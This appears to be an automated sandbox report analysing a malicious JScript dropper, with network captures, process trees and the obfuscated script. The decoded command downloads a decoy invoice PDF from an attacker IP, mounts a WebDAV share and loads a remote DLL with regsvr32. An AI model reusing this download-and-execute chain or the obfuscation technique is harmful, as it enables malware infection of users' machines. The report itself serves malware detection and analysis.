Jan 10, 2025 22:04:07.217894077 CET	192.168.2.9	1.1.1.1	0x7d23	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:03:23.404558897 CET	1.1.1.1	192.168.2.9	0x813e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:03:23.404558897 CET	1.1.1.1	192.168.2.9	0x813e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:03:27.085952044 CET	1.1.1.1	192.168.2.9	0xa9b0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:03:43.147696018 CET	1.1.1.1	192.168.2.9	0x5c6a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:04:07.225317955 CET	1.1.1.1	192.168.2.9	0x7d23	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:04:25.391134024 CET	1.1.1.1	192.168.2.9	0x2d9b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:04:25.391134024 CET	1.1.1.1	192.168.2.9	0x2d9b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49706	193.143.1.205	80	6296	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:03:16.203269005 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:03:17.021971941 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:03:16 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:03:17.021991014 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:03:17.022103071 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 22:03:17.022121906 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 22:03:17.022136927 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 22:03:17.022150040 CET	1236	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 22:03:17.022162914 CET	896	IN	Data Raw: db 7e a1 b7 5c 41 e1 9d 56 ff 82 ae f8 36 5b e8 45 0c 5f c7 f2 4b b9 e8 cb b7 c6 37 cf 12 d7 b0 99 7f 80 00 80 b5 c4 9d 10 9f 9b ba 03 43 1f d4 81 a1 29 86 5e 5e b4 31 f4 74 18 43 f7 9a 18 ba 37 8f a1 ed a6 dc 34 1c da cc 87 0e 4b e8 68 0c 3d 6e Data Ascii: ~\AV6[E_K7C)^^1tC74Kh=nby~m0X].5rbXTtE/Q\reE_-zm=]_{E`TZ~F}i_Jnp}QqZ'C?V
Jan 10, 2025 22:03:17.022180080 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 22:03:17.022186995 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 22:03:17.022190094 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 10, 2025 22:03:17.027010918 CET	1236	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49707	193.143.1.205	8888	3740	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:03:18.476551056 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:03:19.289346933 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:03:19 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:03:05
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\315965636547620220.js"
Imagebase:	0x7ff6fb710000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:03:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll
Imagebase:	0x7ff6f1d50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:03:06
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:03:06
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:03:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:03:17
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f1d50000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:03:17
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff73aac0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:03:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:03:18
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:03:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1600,i,11809953461382276419,5258699728429330720,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function vkfrj() {	vkfrj() ➔ undefined
1	ndiqwifn = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var qwnugjoqt = this[wikokiuc + dzwxw + ssmnbjkwg + dbxsj + hkbsb + sdzyfbnam + fwykrsw + moxscpnb] ( this[tcswxkftg + kzbxoui + bxzgcedv + ssmnbjkwg + hiiqlqryg + wikokiuc + moxscpnb][rviescw + ssmnbjkwg + hkbsb + dzwxw + moxscpnb + hkbsb + mxrmbt + kbqiz + wbmmrlp + hkbsb + bxzgcedv + moxscpnb] ( tcswxkftg + kzbxoui + bxzgcedv + ssmnbjkwg + hiiqlqryg + wikokiuc + moxscpnb + dtwqhsh + kzbxoui + fmbpyrjmk + hkbsb + izooczq + izooczq ) [lruynjejk + hkbsb + nunlu + lruynjejk + hkbsb + dzwxw + txnkjb] ( kspbn + xsqvwe + wvaihy + okktjqj + cfhejk + rviescw + cqyqko + lruynjejk + lruynjejk + wvaihy + ghfugnsd + reifkqkw + cfhejk + cqyqko + kzbxoui + wvaihy + lruynjejk + knzgq + rviescw + wnripzc + fwykrsw + moxscpnb + ssmnbjkwg + wnripzc + izooczq + owdxzsb + aiffyaris + dzwxw + fwykrsw + hkbsb + izooczq + knzgq + sdzyfbnam + fwykrsw + moxscpnb + hkbsb + ssmnbjkwg + fwykrsw + dzwxw + moxscpnb + hiiqlqryg + wnripzc + fwykrsw + dzwxw + izooczq + knzgq + lgeqwnas + wnripzc + bxzgcedv + dzwxw + izooczq + hkbsb ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( upznqyxz = 0 ; upznqyxz < ndiqwifn[izooczq + hkbsb + fwykrsw + nunlu + moxscpnb + fmbpyrjmk] ; ++ upznqyxz )
4	{
5	if ( qwnugjoqt == ndiqwifn[upznqyxz] )
6	{
7	qwnugjoqt = true;
8	break ;
9	}
10	}
11	if ( qwnugjoqt !== true )
12	this[tcswxkftg + kzbxoui + bxzgcedv + ssmnbjkwg + hiiqlqryg + wikokiuc + moxscpnb][othinwrp + ybsyqxrf + hiiqlqryg + moxscpnb] ( );
13	this[tcswxkftg + kzbxoui + bxzgcedv + ssmnbjkwg + hiiqlqryg + wikokiuc + moxscpnb][rviescw + ssmnbjkwg + hkbsb + dzwxw + moxscpnb + hkbsb + mxrmbt + kbqiz + wbmmrlp + hkbsb + bxzgcedv + moxscpnb] ( tcswxkftg + kzbxoui + bxzgcedv + ssmnbjkwg + hiiqlqryg + wikokiuc + moxscpnb + dtwqhsh + kzbxoui + fmbpyrjmk + hkbsb + izooczq + izooczq ) [ssmnbjkwg + ybsyqxrf + fwykrsw] ( bxzgcedv + cnmszdxzr + txnkjb + owdxzsb + ijwfptsl + bxzgcedv + owdxzsb + wikokiuc + wnripzc + mkjev + hkbsb + ssmnbjkwg + dbxsj + fmbpyrjmk + hkbsb + izooczq + izooczq + dtwqhsh + hkbsb + wpcoma + hkbsb + owdxzsb + qltsmf + rviescw + wnripzc + cnmszdxzr + cnmszdxzr + dzwxw + fwykrsw + txnkjb + owdxzsb + wxnxyorn + sdzyfbnam + fwykrsw + biaxhy + wnripzc + qsuciow + hkbsb + qltsmf + tcswxkftg + hkbsb + kbqiz + lruynjejk + hkbsb + hqkmoab + ybsyqxrf + hkbsb + dbxsj + moxscpnb + owdxzsb + qltsmf + mxrmbt + ybsyqxrf + moxscpnb + xqyqkwg + hiiqlqryg + izooczq + hkbsb + owdxzsb + uymfpen + moxscpnb + hkbsb + cnmszdxzr + wikokiuc + uymfpen + knzgq + hiiqlqryg + fwykrsw + biaxhy + wnripzc + hiiqlqryg + bxzgcedv + hkbsb + dtwqhsh + wikokiuc + txnkjb + unjrggtuo + owdxzsb + fmbpyrjmk + moxscpnb + moxscpnb + wikokiuc + jfipbtodl + ijwfptsl + ijwfptsl + fvfovw + gjpogy + ieywnsdwg + dtwqhsh + fvfovw + neyvr + ieywnsdwg + dtwqhsh + fvfovw + dtwqhsh + vgudmdwap + euhvs + netntr + ijwfptsl + hiiqlqryg + fwykrsw + biaxhy + wnripzc + hiiqlqryg + bxzgcedv + hkbsb + dtwqhsh + wikokiuc + fmbpyrjmk + wikokiuc + wxnxyorn + yhihaahar + yhihaahar + dbxsj + moxscpnb + dzwxw + ssmnbjkwg + moxscpnb + owdxzsb + uymfpen + moxscpnb + hkbsb + cnmszdxzr + wikokiuc + uymfpen + knzgq + hiiqlqryg + fwykrsw + biaxhy + wnripzc + hiiqlqryg + bxzgcedv + hkbsb + dtwqhsh + wikokiuc + txnkjb + unjrggtuo + yhihaahar + yhihaahar + bxzgcedv + cnmszdxzr + txnkjb + owdxzsb + ijwfptsl + bxzgcedv + owdxzsb + fwykrsw + hkbsb + moxscpnb + owdxzsb + ybsyqxrf + dbxsj + hkbsb + owdxzsb + knzgq + knzgq + fvfovw + gjpogy + ieywnsdwg + dtwqhsh + fvfovw + neyvr + ieywnsdwg + dtwqhsh + fvfovw + dtwqhsh + vgudmdwap + euhvs + netntr + xlfccvs + uiazdxcti + uiazdxcti + uiazdxcti + uiazdxcti + knzgq + txnkjb + dzwxw + biaxhy + mkjev + mkjev + mkjev + ssmnbjkwg + wnripzc + wnripzc + moxscpnb + knzgq + yhihaahar + yhihaahar + bxzgcedv + cnmszdxzr + txnkjb + owdxzsb + ijwfptsl + bxzgcedv + owdxzsb + ssmnbjkwg + hkbsb + nunlu + dbxsj + biaxhy + ssmnbjkwg + ieywnsdwg + vgudmdwap + owdxzsb + ijwfptsl + dbxsj + owdxzsb + knzgq + knzgq + fvfovw + gjpogy + ieywnsdwg + dtwqhsh + fvfovw + neyvr + ieywnsdwg + dtwqhsh + fvfovw + dtwqhsh + vgudmdwap + euhvs + netntr + xlfccvs + uiazdxcti + uiazdxcti + uiazdxcti + uiazdxcti + knzgq + txnkjb + dzwxw + biaxhy + mkjev + mkjev + mkjev + ssmnbjkwg + wnripzc + wnripzc + moxscpnb + knzgq + vgudmdwap + gjpogy + fvfovw + euhvs + vgudmdwap + uiazdxcti + gjpogy + ieywnsdwg + dtfihkql + vgudmdwap + gjpogy + euhvs + uiazdxcti + gjpogy + dtwqhsh + txnkjb + izooczq + izooczq, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll",0,false) ➔ 0
14	}
15	dbxsj = "l";
16	dbxsj = "s";
17	dbxsj = "q";
18	dbxsj = "m";
19	dbxsj = "n";
20	dbxsj = "W";
21	dbxsj = "W";
22	dbxsj = "P";
23	dbxsj = "U";
24	dbxsj = "E";
25	dbxsj = "u";
26	dbxsj = "e";
27	dbxsj = "r";
28	dbxsj = "R";
29	dbxsj = "z";
30	dbxsj = "K";
31	dbxsj = "i";
32	dbxsj = "H";
33	dbxsj = "l";
34	dbxsj = "s";
35	jfipbtodl = "p";
36	jfipbtodl = "g";
37	jfipbtodl = "l";
38	jfipbtodl = "Z";
39	jfipbtodl = "u";
40	jfipbtodl = "B";
41	jfipbtodl = "R";
42	jfipbtodl = "d";
43	jfipbtodl = "R";
44	jfipbtodl = "Z";
45	jfipbtodl = "r";
46	jfipbtodl = "u";
47	jfipbtodl = "W";
48	jfipbtodl = "D";
49	jfipbtodl = "o";
50	jfipbtodl = "k";
51	jfipbtodl = "p";
52	jfipbtodl = "b";
53	jfipbtodl = "o";
54	jfipbtodl = "c";
55	jfipbtodl = "B";
56	jfipbtodl = "F";
57	jfipbtodl = "V";
58	jfipbtodl = "c";
59	jfipbtodl = "w";
60	jfipbtodl = "B";
61	jfipbtodl = "t";
62	jfipbtodl = "x";
63	jfipbtodl = "l";
64	jfipbtodl = "i";
65	jfipbtodl = "x";
66	jfipbtodl = "M";
67	jfipbtodl = "m";
68	jfipbtodl = "S";
69	jfipbtodl = "h";
70	jfipbtodl = "M";
71	jfipbtodl = "l";
72	jfipbtodl = "N";
73	jfipbtodl = "y";
74	jfipbtodl = "h";
75	jfipbtodl = "c";
76	jfipbtodl = ":";
77	reifkqkw = "n";
78	reifkqkw = "K";
79	reifkqkw = "f";
80	reifkqkw = "U";
81	reifkqkw = "n";
82	reifkqkw = "K";
83	reifkqkw = "s";
84	reifkqkw = "g";
85	reifkqkw = "N";
86	reifkqkw = "u";
87	reifkqkw = "i";
88	reifkqkw = "c";
89	reifkqkw = "K";
90	reifkqkw = "t";
91	reifkqkw = "x";
92	reifkqkw = "g";
93	reifkqkw = "X";
94	reifkqkw = "C";
95	reifkqkw = "R";
96	reifkqkw = "t";
97	reifkqkw = "Z";
98	reifkqkw = "T";
99	cnmszdxzr = "B";
100	cnmszdxzr = "J";
101	cnmszdxzr = "m";
102	unjrggtuo = "S";
103	unjrggtuo = "a";
104	unjrggtuo = "v";
105	unjrggtuo = "D";
106	unjrggtuo = "b";
107	unjrggtuo = "y";
108	unjrggtuo = "g";
109	unjrggtuo = "f";
110	owdxzsb = "l";
111	owdxzsb = "E";
112	owdxzsb = "q";
113	owdxzsb = "T";
114	owdxzsb = "L";
115	owdxzsb = "X";
116	owdxzsb = "V";
117	owdxzsb = " ";
118	euhvs = "C";
119	euhvs = "b";
120	euhvs = "A";
121	euhvs = "b";
122	euhvs = "B";
123	euhvs = "i";
124	euhvs = "q";
125	euhvs = "g";
126	euhvs = "d";
127	euhvs = "V";
128	euhvs = "N";
129	euhvs = "q";
130	euhvs = "l";
131	euhvs = "c";
132	euhvs = "U";
133	euhvs = "D";
134	euhvs = "s";
135	euhvs = "r";
136	euhvs = "O";
137	euhvs = "R";
138	euhvs = "t";
139	euhvs = "f";
140	euhvs = "B";
141	euhvs = "A";
142	euhvs = "u";
143	euhvs = "B";
144	euhvs = "J";
145	euhvs = "P";
146	euhvs = "w";
147	euhvs = "L";
148	euhvs = "r";
149	euhvs = "t";
150	euhvs = "W";
151	euhvs = "g";
152	euhvs = "E";
153	euhvs = "W";
154	euhvs = "y";
155	euhvs = "R";
156	euhvs = "D";
157	euhvs = "q";
158	euhvs = "B";
159	euhvs = "I";
160	euhvs = "0";
161	cfhejk = "k";
162	cfhejk = "o";
163	cfhejk = "l";
164	cfhejk = "h";
165	cfhejk = "B";
166	cfhejk = "h";
167	cfhejk = "m";
168	cfhejk = "j";
169	cfhejk = "R";
170	cfhejk = "U";
171	cfhejk = "j";
172	cfhejk = "W";
173	cfhejk = "L";
174	cfhejk = "U";
175	cfhejk = "i";
176	cfhejk = "t";
177	cfhejk = "D";
178	cfhejk = "J";
179	cfhejk = "o";
180	cfhejk = "U";
181	cfhejk = "g";
182	cfhejk = "Q";
183	cfhejk = "k";
184	cfhejk = "u";
185	cfhejk = "H";
186	cfhejk = "p";
187	cfhejk = "f";
188	cfhejk = "S";
189	cfhejk = "x";
190	cfhejk = "p";
191	cfhejk = "f";
192	cfhejk = "t";
193	cfhejk = "_";
194	dtwqhsh = "S";
195	dtwqhsh = "n";
196	dtwqhsh = "R";
197	dtwqhsh = "t";
198	dtwqhsh = "C";
199	dtwqhsh = "m";
200	dtwqhsh = "P";
201	dtwqhsh = "j";
202	dtwqhsh = "v";
203	dtwqhsh = "h";
204	dtwqhsh = "b";
205	dtwqhsh = "L";
206	dtwqhsh = "q";
207	dtwqhsh = "T";
208	dtwqhsh = "w";
209	dtwqhsh = "a";
210	dtwqhsh = "m";
211	dtwqhsh = "a";
